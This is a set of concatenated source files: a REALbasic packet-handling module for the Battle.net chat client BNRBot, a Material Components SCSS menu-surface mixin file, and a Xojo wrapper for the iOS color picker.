" " + oLastLogon.LongTime) End If If Len(sTimeLogged) > 0 Then Sock.Config.AddChat(True, Colors.Gray, "Time Logged: " + sTimeLogged) End If Case Cookie.TypeProfile Dim Values() As String While UBound(Values) + 1 < AccountCount * KeyCount Values.Append(Buffer.ReadCString()) Wend Globals.AddProfileDialog(Sock.Config, Cookie.Value("Username"), Cookie.Value("Keys"), Values, Cookie.Value("Product")) Case Else Sock.Config.AddChat(True, Colors.Red, "BNET: Received unknown user data response.") End Select Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_REQUIREDWORK(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 1 Then Return False Sock.RequiredWorkMPQ = MemClass.ReadCString(PktData, 1) If Sock.Config <> Nil Then Sock.Config.AddChat(True, Colors.Red, "BNET: Required Work Archive: ", Colors.GoldenRod, Sock.RequiredWorkMPQ) End If Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_SETEMAIL(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) <> 0 Then Return False If LenB(Sock.Config.EmailAddress) < 1 Then Return True Sock.Send(Packets.CreateSID_SETEMAIL(Sock.Config.EmailAddress)) If Sock.Config <> Nil Then Sock.Config.AddChat(True, Colors.Cyan, "BNET: Binded ", Colors.Teal, Sock.Config.EmailAddress, Colors.Cyan, " to the account.") End If Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Sub Receive(Sock As BNETSocket) If Sock = Nil Then Return Sock.DataBuffer = Sock.DataBuffer + Sock.ReadAll() If Sock.Product = Packets.BNETProduct_CHAT And Sock.Init6Protocol = True Then Packets.ReceiveInit6(Sock) ElseIf Sock.Product = Packets.BNETProduct_CHAT And Sock.Init6Protocol = False Then Packets.ReceiveChat(Sock) Else Packets.ReceiveSID(Sock) End If End Sub #tag EndMethod #tag Method, Flags = &h1 Protected Sub Receive(Sock As BNLSSocket) If Sock = Nil Then Return Sock.DataBuffer = Sock.DataBuffer + Sock.ReadAll() Dim PktLen As UInt16 Dim PktID As Byte Dim PktData As String While LenB(Sock.DataBuffer) >= 3 PktLen = MemClass.ReadWORD(Sock.DataBuffer, 1, True) If LenB(Sock.DataBuffer) < PktLen Then Exit While PktID = AscB(MidB(Sock.DataBuffer, 3, 1)) PktData = MidB(Sock.DataBuffer, 4, PktLen - 3) Sock.DataBuffer = MidB(Sock.DataBuffer, PktLen + 1) If Packets.ParseBNLS(Sock, PktID, PktData) = False Then Exit While Wend End Sub #tag EndMethod #tag Method, Flags = &h1 Protected Sub ReceiveChat(Sock As BNETSocket) If Sock = Nil Then Return Dim Data As String = ReplaceLineEndings(Sock.DataBuffer, EndOfLine) Dim Line As String While InStr(Data, EndOfLine) > 0 Line = NthField(Data, EndOfLine, 1) Data = Mid(Data, Len(Line + EndOfLine) + 1) If Packets.ParseChat(Sock, Line) = False Then Exit While Wend Sock.DataBuffer = Data End Sub #tag EndMethod #tag Method, Flags = &h1 Protected Sub ReceiveInit6(Sock As BNETSocket) If Sock = Nil Then Return Dim Data As String = ReplaceLineEndings(Sock.DataBuffer, EndOfLine) Dim Line As String While InStr(Data, EndOfLine) > 0 Line = NthField(Data, EndOfLine, 1) Data = Mid(Data, Len(Line + EndOfLine) + 1) If Packets.ParseInit6(Sock, Line) = False Then Exit While Wend Sock.DataBuffer = Data End Sub #tag EndMethod #tag Method, Flags = &h1 Protected Sub ReceiveSID(Sock As BNETSocket) If Sock = Nil Then Return Dim PktID As Byte Dim PktLen As UInt16 Dim PktData As String Dim PktFull As String While LenB(Sock.DataBuffer) >= 4 If AscB(MidB(Sock.DataBuffer, 1, 1)) <> &HFF Then Sock.Config.AddChat(True, Colors.Red, "BNET: Packet parse error -- invalid header checksum.") Sock.DataBuffer = "" Exit While End If PktID = AscB(MidB(Sock.DataBuffer, 2, 1)) PktLen = MemClass.ReadWORD(Sock.DataBuffer, 3, True) If LenB(Sock.DataBuffer) < PktLen Then Exit While PktData = MidB(Sock.DataBuffer, 5, PktLen - 4) PktFull = MidB(Sock.DataBuffer, 1, PktLen) Sock.DataBuffer = MidB(Sock.DataBuffer, PktLen + 1) If Packets.ParseSID(Sock, PktID, PktData, PktFull) = False Then Exit While Wend End Sub #tag EndMethod #tag Method, Flags = &h1 Protected Sub SendAfterLogonSIDs(Sock As BNETSocket) If Sock = Nil Then Return If Sock.IsConnected = False Then Return If Sock.Config = Nil Then Return Sock.LogonTimeoutTimer.Enabled = False If Sock.UDPCodeSet = True Then If Globals.IsWarcraftII(Sock.Product) = True Or Globals.IsStarcraft(Sock.Product) = True Or _ Globals.IsDiablo(Sock.Product) = True Then Sock.Send(Packets.CreateSID_UDPPINGRESPONSE(Sock.UDPCode)) Else Sock.WaitingForUDP = True End If Sock.Send(Packets.CreateSID_ENTERCHAT(Sock.Username, "")) If LenB(Sock.ReturnChannel) > 0 Then Sock.Send(Packets.CreateSID_JOINCHANNEL(&H02, Sock.ReturnChannel)) Sock.ReturnChannel = "" ElseIf LenB(Sock.Config.HomeChannel) > 0 Then Sock.Send(Packets.CreateSID_JOINCHANNEL(&H02, Sock.Config.HomeChannel)) Else Dim Flags As UInt32 = &H01 If Sock.Product = Packets.BNETProduct_D2DV Or Sock.Product = Packets.BNETProduct_D2XP Then Flags = &H05 Sock.Send(Packets.CreateSID_JOINCHANNEL(Flags, Globals.ProductName(Sock.Product, True))) End If End Sub #tag EndMethod #tag Method, Flags = &h1 Protected Sub SendFirstSIDs(Sock As BNETSocket) If Sock = Nil Then Return If Sock.Product = Packets.BNETProduct_CHAT And Sock.Init6Protocol = True Then Sock.Send("C1" + EndOfLine.Windows) Sock.Send("ACCT " + Sock.Username + EndOfLine.Windows) Sock.Send("PASS " + Sock.Password + EndOfLine.Windows) If Sock.Config <> Nil And Len(Sock.Config.HomeChannel) > 0 Then Sock.Send("HOME " + Sock.Config.HomeChannel + EndOfLine.Windows) End If Sock.Send("LOGIN" + EndOfLine.Windows) ElseIf Sock.Product = Packets.BNETProduct_CHAT And Sock.Init6Protocol = False Then Sock.Send(&H03) Sock.Send(&H04) Sock.Send(Sock.Username + ChrB(13)) Sock.Send(Sock.Password + ChrB(13)) Else Sock.Send(&H01) Sock.Send(Packets.CreateSID_AUTH_INFO(&H00000000, Sock.Platform, Sock.Product, Sock.VersionByte, _ &H00000000, Globals.IPToDWORD(Sock.LocalAddress), Globals.TimezoneBias(), 1033, 1033, "USA", "United States")) End If End Sub #tag EndMethod #tag Method, Flags = &h1 Protected Sub SendLogonPkt(Sock As BNETSocket, SkipAccountCreate As Boolean = False) Select Case Sock.LogonType Case &H0 //OLS If Sock.Config.CreateAccountsFirst = False Or SkipAccountCreate = True Then Sock.Send(Packets.CreateSID_LOGONRESPONSE2(Sock.ClientToken, Sock.ServerToken, _ Globals.EncryptOLSPW(Sock.Password, Sock.ClientToken, Sock.ServerToken), _ Sock.Username)) Sock.LogonTimeoutTimer.Enabled = True Else Sock.Send(Packets.CreateSID_CREATEACCOUNT2(Globals.BSHA1(Sock.Password), Sock.Username)) End If Case &H1, &H2 //NLS If Sock.NLS = Nil Then Sock.NLS = New NLS(Sock.Username, Sock.Password) If Sock.Config.CreateAccountsFirst = False Or SkipAccountCreate = True Then Sock.Send(Packets.CreateSID(Packets.SID_AUTH_ACCOUNTLOGON, Sock.NLS.AccountLogon())) Else Sock.Send(Packets.CreateSID(Packets.SID_AUTH_ACCOUNTCREATE, Sock.NLS.AccountCreate())) End If End Select End Sub #tag EndMethod #tag Method, Flags = &h1 Protected Function SendSID_AUTH_CHECK(Sock As BNETSocket, FromBNLS As Boolean = False) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If Sock.Config.BNLSEnabled = True And Sock.Config.BNLSVersionCheck = True And FromBNLS = False Then If Sock.BNLS <> Nil And Sock.BNLS.IsConnected = False And Sock.BNLS.IsConnecting = False Then Sock.BNLS.DoConnect() Sock.BNLS.Send(Packets.CreateBNLS_VERSIONCHECKEX2(Globals.ProductConvert(Sock.Product, True), _ &H00000000, Packets.SID_AUTH_CHECK, Sock.MPQFiletime, Sock.MPQFilename, Sock.ValueString)) Return True End If Dim EXEChecksum As UInt32 Dim EXEInfo As String Dim EXEVersion As UInt32 Dim CRevResult As UInt32 If FromBNLS = False Then If Settings.CheckRevDLL = Nil Or Not Settings.CheckRevDLL.Exists Then Sock.Config.AddChat(True, Colors.Red, "BNET: Error - it appears CheckRevision.dll is missing." + EndOfLine) Sock.DoDisconnect() Return False End If CRevResult = Globals.CheckRevision(Sock.Product, Sock.ValueString, _ EXEVersion, EXEChecksum, EXEInfo, Sock.MPQFilename) If CRevResult = &H0 Then // Invalid check revision Sock.Config.AddChat(True, Colors.Red, "BNET: CheckRevision.dll failed. Use BNLS or update local hashes." + EndOfLine) Sock.DoDisconnect(False) Return False End If Sock.EXEChecksum = EXEChecksum Sock.EXEInfo = EXEInfo Sock.EXEVersion = EXEVersion End If Dim CDKeys(), TempKey As String Dim NeedsKey1, NeedsKey2 As Boolean NeedsKey1 = (Len(Sock.Config.CDKey) > 0) NeedsKey2 = (Len(Sock.Config.CDKeyExpansion) > 0) If NeedsKey1 And Not Globals.NeedsCDKey(Sock.Product) Then Sock.Config.AddChat(True, Colors.Orange, "BNET: Original CD-Key is being used when it's considered not required." + EndOfLine) ElseIf Not NeedsKey1 And Globals.NeedsCDKey(Sock.Product) Then Sock.Config.AddChat(True, Colors.Orange, "BNET: Original CD-Key is missing when it's considered required." + EndOfLine) End If If NeedsKey2 And Not Globals.NeedsCDKeyExpansion(Sock.Product) Then Sock.Config.AddChat(True, Colors.Orange, "BNET: Expansion-set CD-Key is being used when it's considered not required." + EndOfLine) ElseIf Not NeedsKey2 And Globals.NeedsCDKeyExpansion(Sock.Product) Then Sock.Config.AddChat(True, Colors.Orange, "BNET: Expansion-set CD-Key is missing when it's considered required." + EndOfLine) End If // CD-Key decrypting begins here. // Exclude any products that don't use CD-Keys now. If NeedsKey1 Or NeedsKey2 Then If Settings.BNCSUtil = Nil Or Not Settings.BNCSUtil.Exists Then Sock.Config.AddChat(True, Colors.Red, "BNET: Error - it appears " + App.BNCSUtil + " is missing." + EndOfLine) Sock.DoDisconnect() Return False End If // Decrypt original CD-Key If NeedsKey1 Then TempKey = Globals.DecryptCDKey(Sock.Config.CDKey, Sock.ClientToken, Sock.ServerToken) If LenB(TempKey) < 1 Then // Invalid CD-Key Sock.Config.AddChat(True, Colors.Red, "BNET: Failed to validate your CD-Key." + EndOfLine) Sock.DoDisconnect(False) Return False End If CDKeys.Append(TempKey) End If // Decrypt expansion CD-Key, if necessary // If NeedsKey2 Then TempKey = Globals.DecryptCDKey(Sock.Config.CDKeyExpansion, Sock.ClientToken, Sock.ServerToken) If LenB(TempKey) < 1 Then // Invalid CD-Key Sock.Config.AddChat(True, Colors.Red, "BNET: Failed to validate your expansion-set CD-Key." + EndOfLine) Sock.DoDisconnect(False) Return False End If CDKeys.Append(TempKey) End If End If // Send SID_AUTH_CHECK with or without CD-Keys... Sock.Send(Packets.CreateSID_AUTH_CHECK(Sock.ClientToken, Sock.EXEVersion, Sock.EXEChecksum, Sock.EXEInfo, _ Sock.Config.CDKeyOwner, (Sock.Config.CDKeySpawn = True And (Globals.IsStarcraft(Sock.Product) Or _ Globals.IsWarcraftII(Sock.Product))), CDKeys)) Return True End Function #tag EndMethod #tag Constant, Name = BNETPlatform, Type = Double, Dynamic = False, Default = \"0", Scope = Protected #Tag Instance, Platform = Windows, Language = Default, Definition = \"&H49583836" #Tag Instance, Platform = Linux, Language = Default, Definition = \"&H49583836" #Tag Instance, Platform = Mac OS, Language = Default, Definition = \"&H584D4143" #Tag Instance, Platform = Mac Classic, Language = Default, Definition = \"&H504D4143" #tag EndConstant #tag Constant, Name = BNETPlatform_IX86, Type = Double, Dynamic = False, Default = \"&H49583836", Scope = Protected #tag EndConstant #tag Constant, Name = BNETPlatform_PMAC, Type = Double, Dynamic = False, Default = \"&H504D4143", Scope = Protected #tag EndConstant #tag Constant, Name = BNETPlatform_XMAC, Type = Double, Dynamic = False, Default = \"&H584D4143", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_CHAT, Type = Double, Dynamic = False, Default = \"&H43484154", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_D2DV, Type = Double, Dynamic = False, Default = \"&H44324456", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_D2XP, Type = Double, Dynamic = False, Default = \"&H44325850", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_DRTL, Type = Double, Dynamic = False, Default = \"&H4452544C", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_DSHR, Type = Double, Dynamic = False, Default = \"&H44534852", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_JSTR, Type = Double, Dynamic = False, Default = \"&H4A535452", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_SEXP, Type = Double, Dynamic = False, Default = \"&H53455850", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_SSHR, Type = Double, Dynamic = False, Default = \"&H53534852", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_STAR, Type = Double, Dynamic = False, Default = \"&H53544152", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_W2BN, Type = Double, Dynamic = False, Default = \"&H5732424E", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_W3DM, Type = Double, Dynamic = False, Default = \"&H5733444D", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_W3XP, Type = Double, Dynamic = False, Default = \"&H57335850", Scope = Protected #tag EndConstant #tag Constant, Name = BNETProduct_WAR3, Type = Double, Dynamic = False, Default = \"&H57415233", Scope = Protected #tag EndConstant #tag Constant, Name = BNLS_IPBAN, Type = Double, Dynamic = False, Default = \"&HFF", Scope = Protected #tag EndConstant #tag Constant, Name = BNLS_NULL, Type = Double, Dynamic = False, Default = \"&H00", Scope = Protected #tag EndConstant #tag Constant, Name = BNLS_REQUESTVERSIONBYTE, Type = Double, Dynamic = False, Default = \"&H10", Scope = Protected #tag EndConstant #tag Constant, Name = BNLS_VERSIONCHECKEX2, Type = Double, Dynamic = False, Default = \"&H1A", Scope = Protected #tag EndConstant #tag Constant, Name = PKT_CONNTEST2, Type = Double, Dynamic = False, Default = \"&H09", Scope = Protected #tag EndConstant #tag Constant, Name = PKT_SERVERPING, Type = Double, Dynamic = False, Default = \"&H05", Scope = Protected #tag EndConstant #tag Constant, Name = SID_AUTH_ACCOUNTCREATE, Type = Double, Dynamic = False, Default = \"&H52", Scope = Protected #tag EndConstant #tag Constant, Name = SID_AUTH_ACCOUNTLOGON, Type = Double, Dynamic = False, Default = \"&H53", Scope = Protected #tag EndConstant #tag Constant, Name = SID_AUTH_ACCOUNTLOGONPROOF, Type = Double, Dynamic = False, Default = \"&H54", Scope = Protected #tag EndConstant #tag Constant, Name = SID_AUTH_CHECK, Type = Double, Dynamic = False, Default = \"&H51", Scope = Protected #tag EndConstant #tag Constant, Name = SID_AUTH_INFO, Type = Double, Dynamic = False, Default = \"&H50", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CHATCOMMAND, Type = Double, Dynamic = False, Default = \"&H0E", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CHATEVENT, Type = Double, Dynamic = False, Default = \"&H0F", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CHECKAD, Type = Double, Dynamic = False, Default = \"&H15", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANCREATIONINVITATION, Type = Double, Dynamic = False, Default = \"&H72", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANDISBAND, Type = Double, Dynamic = False, Default = \"&H73", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANINFO, Type = Double, Dynamic = False, Default = \"&H75", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANINVITATION, Type = Double, Dynamic = False, Default = \"&H77", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANINVITATIONRESPONSE, Type = Double, Dynamic = False, Default = \"&H79", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANMEMBERANKCHANGE, Type = Double, Dynamic = False, Default = \"&H81", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANMEMBERINFORMATION, Type = Double, Dynamic = False, Default = \"&H82", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANMEMBERLIST, Type = Double, Dynamic = False, Default = \"&H7D", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANMEMBERREMOVED, Type = Double, Dynamic = False, Default = \"&H7E", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANMEMBERSTATUSCHANGE, Type = Double, Dynamic = False, Default = \"&H7F", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANMOTD, Type = Double, Dynamic = False, Default = \"&H7C", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANQUITNOTIFY, Type = Double, Dynamic = False, Default = \"&H76", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANRANKCHANGE, Type = Double, Dynamic = False, Default = \"&H7A", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CLANREMOVEMEMBER, Type = Double, Dynamic = False, Default = \"&H78", Scope = Protected #tag EndConstant #tag Constant, Name = SID_CREATEACCOUNT2, Type = Double, Dynamic = False, Default = \"&H3D", Scope = Protected #tag EndConstant #tag Constant, Name = SID_ENTERCHAT, Type = Double, Dynamic = False, Default = \"&H0A", Scope = Protected #tag EndConstant #tag Constant, Name = SID_FLOODDETECTED, Type = Double, Dynamic = False, Default = \"&H13", Scope = Protected #tag EndConstant #tag Constant, Name = SID_FRIENDSADD, Type = Double, Dynamic = False, Default = \"&H67", Scope = Protected #tag EndConstant #tag Constant, Name = SID_FRIENDSLIST, Type = Double, Dynamic = False, Default = \"&H65", Scope = Protected #tag EndConstant #tag Constant, Name = SID_FRIENDSPOSITION, Type = Double, Dynamic = False, Default = \"&H69", Scope = Protected #tag EndConstant #tag Constant, Name = SID_FRIENDSREMOVE, Type = Double, Dynamic = False, Default = \"&H68", Scope = Protected #tag EndConstant #tag Constant, Name = SID_FRIENDSUPDATE, Type = Double, Dynamic = False, Default = \"&H66", Scope = Protected #tag EndConstant #tag Constant, Name = SID_GETCHANNELLIST, Type = Double, Dynamic = False, Default = \"&H0B", Scope = Protected #tag EndConstant #tag Constant, Name = SID_GETFILETIME, Type = Double, Dynamic = False, Default = \"&H33", Scope = Protected #tag EndConstant #tag Constant, Name = SID_GETICONDATA, Type = Double, Dynamic = False, Default = \"&H2D", Scope = Protected #tag EndConstant #tag Constant, Name = SID_JOINCHANNEL, Type = Double, Dynamic = False, Default = \"&H0C", Scope = Protected #tag EndConstant #tag Constant, Name = SID_LEAVECHAT, Type = Double, Dynamic = False, Default = \"&H10", Scope = Protected #tag EndConstant #tag Constant, Name = SID_LOGONRESPONSE2, Type = Double, Dynamic = False, Default = \"&H3A", Scope = Protected #tag EndConstant #tag Constant, Name = SID_MESSAGEBOX, Type = Double, Dynamic = False, Default = \"&H19", Scope = Protected #tag EndConstant #tag Constant, Name = SID_NOTIFYJOIN, Type = Double, Dynamic = False, Default = \"&H22", Scope = Protected #tag EndConstant #tag Constant, Name = SID_NULL, Type = Double, Dynamic = False, Default = \"&H00", Scope = Protected #tag EndConstant #tag Constant, Name = SID_PING, Type = Double, Dynamic = False, Default = \"&H25", Scope = Protected #tag EndConstant #tag Constant, Name = SID_READUSERDATA, Type = Double, Dynamic = False, Default = \"&H26", Scope = Protected #tag EndConstant #tag Constant, Name = SID_REQUIREDWORK, Type = Double, Dynamic = False, Default = \"&H4C", Scope = Protected #tag EndConstant #tag Constant, Name = SID_SETEMAIL, Type = Double, Dynamic = False, Default = \"&H59", Scope = Protected #tag EndConstant #tag Constant, Name = SID_UDPPINGRESPONSE, Type = Double, Dynamic = False, Default = \"&H14", Scope = Protected #tag EndConstant #tag Constant, Name = SID_WRITEUSERDATA, Type = Double, Dynamic = False, Default = \"&H27", Scope = Protected #tag EndConstant #tag ViewBehavior #tag ViewProperty Name="Index" Visible=true Group="ID" InitialValue="-2147483648" InheritedFrom="Object" #tag EndViewProperty #tag ViewProperty Name="Left" Visible=true Group="Position" InitialValue="0" InheritedFrom="Object" #tag EndViewProperty #tag ViewProperty Name="Name" Visible=true Group="ID" InheritedFrom="Object" #tag EndViewProperty #tag ViewProperty Name="Super" Visible=true Group="ID" InheritedFrom="Object" #tag EndViewProperty #tag ViewProperty Name="Top" Visible=true Group="Position" InitialValue="0" InheritedFrom="Object" #tag EndViewProperty #tag EndViewBehavior End Module #tag EndModule

REALbasic

carlbennett/BNRBot

src/Modules/Packets.rbbas

// // Copyright 2018 Google Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // // Selector '.mdc-*' should only be used in this project. // stylelint-disable selector-class-pattern @use '@material/feature-targeting/feature-targeting'; @use '@material/theme/theme'; @use '@material/theme/custom-properties'; @use '@material/shape/mixins' as shape-mixins; @use '@material/animation/variables' as animation-variables; @use '@material/elevation/mixins' as elevation-mixins; @use '@material/rtl/rtl'; @use './variables'; @use './menu-surface-custom-properties'; // // Public // @mixin core-styles($query: feature-targeting.all()) { $feat-structure: feature-targeting.create-target($query, structure); // postcss-bem-linter: define menu-surface .mdc-menu-surface { @include base_($query); @include elevation-mixins.elevation($z-value: 8, $query: $query); @include fill-color(surface, $query); @include ink-color(on-surface, $query); @include shape-radius(variables.$shape-radius, false, $query); @include feature-targeting.targets($feat-structure) { @include rtl.reflexive-property(transform-origin, top left, top right); } } .mdc-menu-surface--anchor { @include feature-targeting.targets($feat-structure) { position: relative; overflow: visible; } } .mdc-menu-surface--fixed { @include feature-targeting.targets($feat-structure) { position: fixed; } } .mdc-menu-surface--fullwidth { @include feature-targeting.targets($feat-structure) { width: 100%; } } // postcss-bem-linter: end } @mixin ink-color($color, $query: feature-targeting.all()) { $feat-color: feature-targeting.create-target($query, color); @include feature-targeting.targets($feat-color) { @include theme.property(color, $color); } } @mixin fill-color($color, $query: feature-targeting.all()) { $feat-color: feature-targeting.create-target($query, color); @include feature-targeting.targets($feat-color) { @include theme.property(background-color, $color); } } @mixin shape-radius( $radius, $rtl-reflexive: false, $query: feature-targeting.all() ) { @include shape-mixins.radius($radius, $rtl-reflexive, $query: $query); } // Used by filled variants of GM components to conditionally flatten the top // corners of the menu. @mixin flatten-top-when-opened-below($query: feature-targeting.all()) { .mdc-menu-surface--is-open-below { $feat-structure: feature-targeting.create-target($query, structure); @include feature-targeting.targets($feat-structure) { border-top-left-radius: 0px; border-top-right-radius: 0px; } } } // // Private // @mixin base_($query: feature-targeting.all()) { $feat-structure: feature-targeting.create-target($query, structure); $feat-animation: feature-targeting.create-target($query, animation); @include feature-targeting.targets($feat-structure) { display: none; position: absolute; box-sizing: border-box; $max-width: custom-properties.create( menu-surface-custom-properties.$max-width, calc(100vw - #{variables.$min-distance-from-edge}) ); @include theme.property(max-width, $max-width); $max-height: custom-properties.create( menu-surface-custom-properties.$max-height, calc(100vh - #{variables.$min-distance-from-edge}) ); @include theme.property(max-height, $max-height); margin: 0; padding: 0; transform: scale(1); transform-origin: top left; opacity: 0; overflow: auto; will-change: transform, opacity; z-index: variables.$z-index; } @include feature-targeting.targets($feat-animation) { transition: opacity variables.$fade-in-duration linear, transform variables.$scale-duration animation-variables.$deceleration-curve-timing-function, height 250ms animation-variables.$deceleration-curve-timing-function; } &:focus { @include feature-targeting.targets($feat-structure) { outline: none; } } &--animating-open { @include feature-targeting.targets($feat-structure) { display: inline-block; transform: scale(0.8); opacity: 0; } } // Render this after `--animating-open` to override `opacity` & `transform` // CSS properties. &--open { @include feature-targeting.targets($feat-structure) { display: inline-block; transform: scale(1); opacity: 1; } } &--animating-closed { @include feature-targeting.targets($feat-structure) { display: inline-block; opacity: 0; } @include feature-targeting.targets($feat-animation) { transition: opacity variables.$fade-out-duration linear; } } }

SCSS

simonziegler/material-components-web

packages/mdc-menu-surface/_mixins.scss

#tag Class Protected Class UIColorPickerViewController Inherits UIKit.UINavigationController #tag Method, Flags = &h1000 Sub Constructor() // Calling the overridden superclass constructor. // Note that this may need modifications if there are multiple constructor choices. // Possible constructor calls: // Constructor() -- From NSObject // Constructor(ref as ptr) -- From NSObject Super.Constructor(Initialize(Allocate(NSClassFromString("UIColorPickerViewController")))) Declare Sub setDelegate Lib UIKitLib selector "setDelegate:" (obj_id As ptr, del As ptr) dim del as ptr = Initialize(Allocate(TargetClass)) setDelegate(self, del) if dispatch = nil then dispatch = new xojo.Core.Dictionary dispatch.Value(del) = xojo.core.WeakRef.Create(self) needsExtraRelease = True End Sub #tag EndMethod #tag Method, Flags = &h21 Private Sub HandleDidFinish() Dim myColor As UIKit.UIColor = self.selectedColor Dim colValue As color = myColor.ColorValue RaiseEvent DidFinish(colValue) 'self.DismissViewControllerAnimatedCompletion(True, nil) End Sub #tag EndMethod #tag Method, Flags = &h21 Private Sub HandleDidSelectColor() Dim myColor As UIKit.UIColor = self.selectedColor Dim colValue As color = myColor.ColorValue RaiseEvent DidSelectColor(colValue) 'self.DismissViewControllerAnimatedCompletion(True, nil) End Sub #tag EndMethod #tag Method, Flags = &h21 Private Shared Sub impl_didFinish(pid as ptr, sel as ptr) dim w as xojo.Core.WeakRef = xojo.core.WeakRef(dispatch.Value(pid)) if w.Value <> nil Then UIColorPickerViewController(w.Value).HandleDidFinish 'dispatch.Remove(pid) end if #Pragma Unused sel End Sub #tag EndMethod #tag Method, Flags = &h21 Private Shared Sub impl_didSelectColor(pid as ptr, sel as ptr) dim w as xojo.Core.WeakRef = xojo.core.WeakRef(dispatch.Value(pid)) if w.Value <> nil Then UIColorPickerViewController(w.Value).HandleDidSelectColor end if #Pragma Unused sel End Sub #tag EndMethod #tag Method, Flags = &h0 Shared Function IsAvailable() As Boolean Dim sSystemVersion As Double //Get sSystemVersion only once If sSystemVersion = 0.0 Then Declare Function currentDevice_ Lib UIKitLib selector "currentDevice" (clsRef As ptr) As ptr Declare Function systemversion_ Lib UIKitLib selector "systemVersion" (obj_id As ptr) As CFStringRef Dim device As Ptr = currentDevice_(NSClassFromString("UIDevice")) Dim systemVersion As Text = systemversion_(device) Try sSystemVersion = Double.FromText(systemVersion) Catch End Try End If if sSystemVersion >= 14.0 then Return True End Function #tag EndMethod #tag Method, Flags = &h0, Description = 53686F77732074686520466F6E745069636B6572 Sub PresentInView(mView As iOSView, completion As iOSBlock = nil) declare sub presentViewController lib UIKitLib selector "presentViewController:animated:completion:" _ (obj_id as ptr, controller as ptr, animated as Boolean, completion as ptr) if completion <> nil then presentViewController(mView.ViewControllerHandle, self, True, completion.Handle) else presentViewController(mView.ViewControllerHandle, self, True, nil) end if mparentViewController = mView //get a reference to dismiss ourself End Sub #tag EndMethod #tag Method, Flags = &h21 Private Shared Function TargetClass() As Ptr static targetID as ptr if targetID = Nil then using UIKit dim methods() as TargetClassMethodHelper methods.Append new TargetClassMethodHelper("colorPickerViewControllerDidFinish:", AddressOf impl_didFinish, "v@:@") methods.Append new TargetClassMethodHelper("colorPickerViewControllerDidSelectColor:", AddressOf impl_didSelectColor, "v@:@") targetID = BuildTargetClass("NSObject","UIColorPickerViewControllerDelegate",methods) end if Return targetID End Function #tag EndMethod #tag Hook, Flags = &h0 Event DidFinish(value As color) #tag EndHook #tag Hook, Flags = &h0 Event DidSelectColor(value As color) #tag EndHook #tag Property, Flags = &h21 Private Shared dispatch As xojo.Core.Dictionary #tag EndProperty #tag Property, Flags = &h21 Private mparentViewController As iOSView #tag EndProperty #tag ComputedProperty, Flags = &h0 #tag Getter Get Declare function selectedColor_ lib UIKitLib selector "selectedColor" (obj as ptr) as ptr Return new UIKit.UIColor(selectedColor_(self)) End Get #tag EndGetter #tag Setter Set Declare sub setSelectedColor_ lib UIKitLib selector "setSelectedColor:" (obj as ptr, value as ptr) setSelectedColor_(self, value) End Set #tag EndSetter selectedColor As UIKit.UIColor #tag EndComputedProperty #tag ComputedProperty, Flags = &h0 #tag Getter Get Return selectedColor.ColorValue End Get #tag EndGetter selectedColorValue As Color #tag EndComputedProperty #tag ComputedProperty, Flags = &h0 #tag Getter Get Declare function supportsAlpha_ lib UIKitLib selector "supportsAlpha" (obj as ptr) as Boolean Return supportsAlpha_(self) End Get #tag EndGetter #tag Setter Set Declare sub supportsAlpha_ lib UIKitLib selector "setSupportsAlpha:" (obj as ptr, value as Boolean) supportsAlpha_(self, value) End Set #tag EndSetter supportsAlpha As Boolean #tag EndComputedProperty #tag ViewBehavior #tag ViewProperty Name="automaticallyAdjustsScrollViewInsets" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag 